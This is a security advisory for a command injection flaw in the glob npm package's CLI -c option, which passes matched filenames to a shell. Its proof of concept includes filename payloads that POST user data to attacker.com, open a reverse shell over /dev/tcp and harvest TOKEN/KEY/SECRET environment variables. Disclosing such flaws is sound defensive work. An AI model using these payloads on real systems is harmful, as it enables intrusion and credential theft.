glob CLI: Command injection via -c/--cmd executes matches with shell:true
Affected releases · glob
- 11.x11.0.0 – 11.0.3Fixed in 11.1.0
- 10.x10.2.0 – 10.4.5Fixed in 10.5.0
On 11.x, the newest line:
npm install glob@11.1.0Every release on a timeline
Not affected
14.0.0 – 14.0.3
4 releases, latest
Affected
11.0.0 – 11.0.3
4 releases
Fixed
11.1.0
1 release
Not affected
10.0.0 – 10.1.0
2 releases
Affected
10.2.0 – 10.4.5
31 releases
Fixed
10.5.0
1 release
What happens
Summary
The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.
Details
Root Cause:
The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:
stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))Technical Flow:
User runs
glob -c <command> <pattern>CLI finds files matching the pattern
Matched filenames are collected into an array
Command is executed with matched filenames as arguments using
shell: trueShell interprets metacharacters in filenames as command syntax
Malicious filenames execute arbitrary commands
Affected Component:
CLI Only: The vulnerability affects only the command-line interface
Library Safe: The core glob library API (
glob(),globSync(), streams/iterators) is not affectedShell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)
Attack Surface:
Files with names containing shell metacharacters:
$(), backticks,;,&,|, etc.Any directory where attackers can control filenames (PR branches, archives, user uploads)
CI/CD pipelines using
glob -con untrusted content
PoC
Setup Malicious File:
mkdir test_directory && cd test_directory # Create file with command injection payload in filename touch '$(touch injected_poc)'
Trigger Vulnerability:
# Run glob CLI with -c option node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"
Result:
The echo command executes normally
Additionally: The
$(touch injected_poc)in the filename is evaluated by the shellA new file
injected_pocis created, proving command executionAny command can be injected this way with full user privileges
Advanced Payload Examples:
Data Exfiltration:
# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1) touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'
Reverse Shell:
# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1) touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'
Environment Variable Harvesting:
# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt) touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'
Impact
Arbitrary Command Execution:
Commands execute with full privileges of the user running glob CLI
No privilege escalation required - runs as current user
Access to environment variables, file system, and network
Real-World Attack Scenarios:
1. CI/CD Pipeline Compromise:
Malicious PR adds files with crafted names to repository
CI pipeline uses
glob -cto process files (linting, testing, deployment)Commands execute in CI environment with build secrets and deployment credentials
Potential for supply chain compromise through artifact tampering
2. Developer Workstation Attack:
Developer clones repository or extracts archive containing malicious filenames
Local build scripts use
glob -cfor file processingDeveloper machine compromise with access to SSH keys, tokens, local services
3. Automated Processing Systems:
Services using glob CLI to process uploaded files or external content
File uploads with malicious names trigger command execution
Server-side compromise with potential for lateral movement
4. Supply Chain Poisoning:
Malicious packages or themes include files with crafted names
Build processes using glob CLI automatically process these files
Wide distribution of compromise through package ecosystems
Platform-Specific Risks:
POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing
Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL
Mixed Environments: CI systems often use Linux containers regardless of developer platform
Affected Products
Ecosystem: npm
Package name: glob
Component: CLI only (
src/bin.mts)Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched)
Introduced: v10.2.0 (first release with CLI containing
-c/--cmdoption)Patched versions: 11.1.0and 10.5.0
Scope Limitation:
Library API Not Affected: Core glob functions (
glob(),globSync(), async iterators) are safeCLI-Specific: Only the command-line interface with
-c/--cmdoption is vulnerable
Remediation
Upgrade to
glob@10.5.0,glob@11.1.0, or higher, as soon as possible.If any
globCLI actions fail, then convert commands containing positional arguments, to use the--cmd-arg/-goption instead.As a last resort, use
--shellto maintainshell:truebehavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.